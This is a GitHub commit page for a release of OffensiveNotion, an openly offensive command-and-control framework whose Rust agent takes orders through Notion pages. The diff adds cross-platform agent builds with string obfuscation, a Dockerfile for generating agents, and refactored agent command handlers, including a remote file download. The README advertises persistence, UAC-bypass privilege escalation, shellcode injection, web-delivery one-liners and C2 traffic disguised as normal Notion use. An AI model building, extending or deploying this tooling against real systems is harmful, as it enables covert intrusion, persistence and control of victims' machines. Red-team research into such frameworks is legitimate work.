Skip to content
This repository was archived by the owner on Mar 11, 2025. It is now read-only.

Commit 6584c61

Browse files
authored
Merge pull request #76 from mttaggart/dev
v1.1.0
2 parents c3f9a9d + 775311f commit 6584c61

File tree

33 files changed

+997
-511
lines changed

33 files changed

+997
-511
lines changed

.github/workflows/rust.yml

Lines changed: 29 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,9 @@ name: Rust
22

33
on:
44
push:
5-
branches: [ main ]
5+
branches: [ main, dev ]
66
pull_request:
7-
branches: [ main ]
7+
branches: [ main, dev ]
88

99
env:
1010
CARGO_TERM_COLOR: always
@@ -21,11 +21,36 @@ jobs:
2121
- name: Build
2222
working-directory: ./agent
2323
run: cargo build --release
24+
env:
25+
LITCRYPT_ENCRYPT_KEY: offensivenotion
2426
- name: Upload artifact
2527
uses: actions/upload-artifact@v2
2628
with:
2729
name: offensive_notion_linux_amd64
2830
path: agent/target/release/offensive_notion
31+
32+
build_mac:
33+
34+
runs-on: macos-latest
35+
36+
steps:
37+
- uses: actions/checkout@v2
38+
- name: Update Rust
39+
run: rustup update stable
40+
- name: Add macOS Triple
41+
run: rustup target add x86_64-pc-windows-gnu
42+
- name: Set LitCrypt Key
43+
run: export LITCRYPT_ENCRYPT_KEY="offensivenotion"
44+
- name: Build
45+
working-directory: ./agent
46+
run: cargo build --release --target x86_64-apple-darwin
47+
env:
48+
LITCRYPT_ENCRYPT_KEY: offensivenotion
49+
- name: Upload artifact
50+
uses: actions/upload-artifact@v2
51+
with:
52+
name: offensive_notion_darwin_amd64
53+
path: agent/target/x86_64-apple-darwin/release/offensive_notion
2954

3055
build_windows:
3156

@@ -42,6 +67,8 @@ jobs:
4267
- name: Build
4368
working-directory: ./agent
4469
run: cargo build --release --target x86_64-pc-windows-gnu
70+
env:
71+
LITCRYPT_ENCRYPT_KEY: offensivenotion
4572
- name: Upload artifact
4673
uses: actions/upload-artifact@v2
4774
with:

.gitignore

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,9 @@ bin/windows_debug/*
1111
agent/src/config.rs.bak
1212
Dockerfile.bak
1313
utils/www/*
14+
offensive_notion
15+
offensive_notion.exe
16+
1417

1518
# Excluding for experimentation
1619
agent/src/config.rs

Dockerfile

Lines changed: 43 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,47 @@
1-
FROM rust:latest
1+
FROM rust:latest AS rustbuilder
22

3-
RUN apt update -y && apt install mingw-w64 -y
3+
# Do the Rust setup, but do it just the once and separate the ON stuff
44

5-
RUN mkdir /opt/OffensiveNotion
6-
WORKDIR /opt/OffensiveNotion
7-
COPY agent/ .
5+
RUN echo "Installing dependencies"
6+
RUN apt update
7+
RUN apt install -y \
8+
mingw-w64 \
9+
gcc-multilib \
10+
python3-pip \
11+
cmake \
12+
clang \
13+
gcc \
14+
g++ \
15+
zlib1g-dev \
16+
libmpc-dev \
17+
libmpfr-dev \
18+
libgmp-dev
819

9-
RUN rustup target add x86_64-pc-windows-gnu && rustup toolchain install stable-x86_64-pc-windows-gnu
20+
RUN rustup toolchain install nightly
21+
RUN rustup default nightly
22+
RUN rustup target add x86_64-pc-windows-gnu
23+
RUN rustup target add x86_64-apple-darwin
1024

11-
# This Dockerfile gets edited dynamically by main.py. If using main.py, don't touch it. If building the Docker container from source, edit this with your target build and OS
12-
RUN cargo build {OS} {RELEASE}
25+
26+
# Now we get to work
27+
# FROM ubuntu:latest as onbuilder
28+
29+
RUN mkdir /OffensiveNotion
30+
RUN mkdir /OffensiveNotion/agent
31+
RUN mkdir /OffensiveNotion/agent/src
32+
RUN mkdir /OffensiveNotion/agent/target
33+
RUN mkdir /out
34+
# We're going to be more explicit about this copy over to save space in the image
35+
# Also, a fun hack to get the config.json if it exists, but copy the rest regardless
36+
COPY ./main.py ./requirements.txt config.jso[n] /OffensiveNotion/
37+
COPY ./utils /OffensiveNotion/utils
38+
COPY ./agent/Cargo.toml ./agent/build.rs ./agent/offensive_notion.rc ./agent/notion.ico /OffensiveNotion/agent/
39+
COPY ./agent/src/ /OffensiveNotion/agent/src/
40+
41+
WORKDIR /OffensiveNotion
42+
43+
# MacOS install. If not building a macOS agent, feel free to comment this RUN command out.
44+
RUN git clone https://github.com/tpoechtrager/osxcross && cd osxcross && wget -nc https://s3.dockerproject.org/darwin/v2/MacOSX10.10.sdk.tar.xz && mv MacOSX10.10.sdk.tar.xz tarballs/ && echo "[*] Building osxcross. This may take a while..." &&UNATTENDED=yes OSX_VERSION_MIN=10.7 ./build.sh > /dev/null 2>&1 && echo "[+] Done!"
45+
46+
RUN pip3 install -r requirements.txt
47+
ENTRYPOINT ["/usr/bin/python3", "main.py"]

README.md

Lines changed: 4 additions & 87 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ A collaboration by:
1313

1414
[Documentation][wiki]   |   [Pull Requests][pr]   |   [Issues][issues]
1515

16-
![Release][release] ![GitHub last commit][lastcommit] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license]
16+
![Release][release] [![Pull Requests][img-pr-badge]][pr] [![License][img-license-badge]][license]
1717

1818
</div>
1919

@@ -34,101 +34,18 @@ Here's our blog post about it: [We Put A C2 In Your Notetaking App: OffensiveNot
3434
## Features
3535
* 📡 A full-featured C2 platform built on the Notion notetaking app.
3636
* 🚧 Easy setup: set up your Notion developer API account, drop the Agent to the target, run and enjoy!
37-
* 🖥️ Cross-platform agent built in Rust that compiles for Linux and Windows with the same code base.
37+
* 🖥️ Cross-platform agent built in Rust that compiles for Linux, Windows, and macOS with the same code base. Includes a Python setup/controller script to simplify the process.
3838
* ☢️ A range of capabilities including port-scanning, privilege escalation, asynchronous command execution, file download, and shellcode injection, all controlled from the comfort of a Notion page!
3939
* 📜 Document as you go! The agent identifies special syntax to run commands, so feel free to use the rest of the Notion page to document your operation.
40+
* 🤝 Collaborative by design! Notion allows for multiple people to edit and view your notes. Your listener page can handle multiple agents and you can invite your red team friends to your page. Congratulations, that's a teamserver!
41+
* 📱Mobile C2! Use the Notion application from your mobile device to issue commands to your agents from anywhere in the world.
4042
* 🕵️‍♀️ Stealth! C2 comms ride over the Notion API natively. Your C2 traffic looks like someone is using Notion for its intended purpose.
4143

4244
## Quickstart
4345
See the [Quickstart guide](https://github.com/mttaggart/OffensiveNotion/wiki/2.-Quickstart) on how to get going right away!
4446

4547
## Documentation
4648
Please see the [Wiki][wiki] for setup, usage, commands, and more!
47-
48-
## v1.0.0 - "Iron Age"
49-
### MUST
50-
51-
<details>
52-
<summary> Done </summary>
53-
54-
### Documentation
55-
- [x] Quickstart
56-
- [x] Install
57-
- [x] Agent interaction
58-
- [x] Commands
59-
- [x] Linux commands
60-
- [x] Windows commands
61-
62-
#### Misc
63-
- [x] YARA Rules
64-
#### Setup
65-
- [x] Python Setup Script for config options
66-
- [x] Dynamic Docker container spin up/tear down for agent generation
67-
- [x] Parse args for Docker build options
68-
69-
#### Agent
70-
- Commands:
71-
- [x] `shell`
72-
- [x] `cd`
73-
- [x] `download`
74-
- [x] `ps`
75-
- [x] `pwd`
76-
- [x] `save`
77-
- [x] `shutdown`
78-
- [x] `sleep [#]` to adjust callback
79-
80-
</details>
81-
82-
### SHOULD
83-
84-
<details>
85-
<summary> Done </summary>
86-
87-
#### Agent
88-
- [x] Jitter interval for callback time
89-
- Commands:
90-
- [x] `getprivs`
91-
- [x] `sleep [#][%]` to adjust callback and jitter
92-
- [x] `portscan`
93-
- [x] Linux `elevate sudo`
94-
- [x] Windows `elevate fodhelper`
95-
- [x] Linux `persist bashrc`
96-
- [x] Linux `persist cron`
97-
- [x] Linux `persist service`
98-
- [x] Windows `inject`
99-
- [x] Windows `persist startup`
100-
- [x] Windows `persist registry`
101-
102-
- Persist:
103-
- [x] Windows `persist schtasks`
104-
- [x] (Bonus) `wmic`
105-
106-
</details>
107-
108-
### COULD
109-
110-
<details>
111-
<summary> Done </summary>
112-
113-
- [x] Compiles with Notion icon
114-
- [x] Mirror the notion.ico file 😈 (slightly red tint to logo)
115-
- [x] "Web delivery" via Flask and one-liner for remote download/exec (https://www.offensive-security.com/metasploit-unleashed/web-delivery/)
116-
- [x] Agent checks in by POSTing hostname and username to page title with asterisk if in an admin context (getprivs at checkin)
117-
- [x] Agent can spawn in kiosk mode Notion.so page at startup
118-
119-
</details>
120-
121-
<details>
122-
<summary> For Next Release </summary>
123-
124-
- [ ] Linux `persist rc.local`
125-
- [ ] Linux `inject` (more of a shellcode runner than injection)
126-
- [ ] Windows `runas` (SCshell)
127-
- [ ] Windows `inject-assembly` (⚠️ large lift ⚠️)
128-
- [ ] (Bonus) Windows `persist comhijack`
129-
- [ ] (Bonus) Windows `persist xll`
130-
131-
</details>
13249

13350
## Thanks & Acknowledgements
13451

agent/Cargo.lock

Lines changed: 11 additions & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

agent/Cargo.toml

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
[package]
22
name = "offensive_notion"
3-
version = "1.0.0"
3+
version = "1.1.0"
44
edition = "2021"
55
build = "build.rs"
66

@@ -12,7 +12,6 @@ reqwest = { version = "0.11", features = ["json"] }
1212
tokio = { version = "1", features = ["full"] }
1313
serde = { version = "1.0.136", features=["derive"] }
1414
serde_json = "1.0"
15-
winapi = "0.3.8"
1615
libc = "0.2.66"
1716
sysinfo = "0.23.0"
1817
whoami = "1.2.1"
@@ -26,8 +25,9 @@ embed-resource = "1.6"
2625

2726
[target.'cfg(windows)'.dependencies]
2827
kernel32-sys = "0.2.2"
29-
winapi = { version = "0.3", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] }
28+
winapi = { version = "0.3.8", features = ["winnt","winuser", "handleapi", "processthreadsapi", "securitybaseapi"] }
3029
winreg = "0.10"
30+
houdini = "1.0.2"
3131

3232
[profile.dev]
3333
opt-level = 0

agent/src/cmd/cd.rs

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,16 @@
11
use std::error::Error;
22
use std::path::Path;
33
use std::env::set_current_dir;
4+
use crate::cmd::{CommandArgs, notion_out};
45

56
/// Changes the directory using system tools
67
/// Rather than the shell
7-
pub fn handle(s: &String) -> Result<String, Box<dyn Error>> {
8-
let new_path = Path::new(s.trim());
8+
pub fn handle(cmd_args: &mut CommandArgs) -> Result<String, Box<dyn Error>> {
9+
let path_arg = cmd_args.nth(0).unwrap_or_else(|| ".".to_string());
10+
let new_path = Path::new(&path_arg);
911
match set_current_dir(new_path) {
10-
Ok(_) => Ok(format!("Changed to {s}").to_string()),
11-
Err(e) => Ok(e.to_string())
12+
Ok(_) => notion_out!("Changed to {path_arg}"),
13+
Err(e) => Ok(format!("{e}"))
1214
}
1315
}
1416

agent/src/cmd/download.rs

Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -2,31 +2,30 @@ use std::error::Error;
22
use std::io::copy;
33
use reqwest::Client;
44
use std::fs::File;
5-
use crate::logger::Logger;
5+
use crate::cmd::{CommandArgs, notion_out};
6+
use crate::logger::{Logger, log_out};
67

78
/// Downloads a file to the local system.
89
///
910
/// Usage: `download [url] [path]`.
1011
///
1112
/// Defaults the the end of the URL without path option
12-
pub async fn handle(s: &String, logger: &Logger) -> Result<String, Box<dyn Error>> {
13+
pub async fn handle(cmd_args: &mut CommandArgs, logger: &Logger) -> Result<String, Box<dyn Error>> {
1314
let client = Client::new();
14-
// Get args
15-
let mut args = s.trim().split(" ");
1615
// Get URL as the first arg
17-
let url = args.nth(0).unwrap_or_else(|| "");
16+
let url: String = cmd_args.nth(0).unwrap_or_else(|| "".to_string());
1817
// Get path as the 2nd arg or the last part of the URL
19-
let path = args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap());
18+
let path: String = cmd_args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap().to_string());
2019
logger.debug(format!("Downloading from {url} to {path}"));
2120
let r = client.get(url).send().await?;
2221
if r.status().is_success() {
23-
if let Ok(mut out_file) = File::create(path) {
22+
if let Ok(mut out_file) = File::create(&path) {
2423
match copy(&mut r.bytes().await?.as_ref(), &mut out_file) {
25-
Ok(b) => { return Ok(format!("{b} bytes written to {path}").to_string());},
26-
Err(_) => { return Ok("Could not write file".to_string()); }
24+
Ok(b) => { return Ok(format!("{b} bytes written to {path}"));},
25+
Err(_) => { return notion_out!("Could not write file"); }
2726
}
2827
} else {
29-
return Ok("Could not write file".to_string());
28+
return notion_out!("Could not write file");
3029
}
3130
}
3231
Ok(r.text().await?)

0 commit comments

Comments
 (0)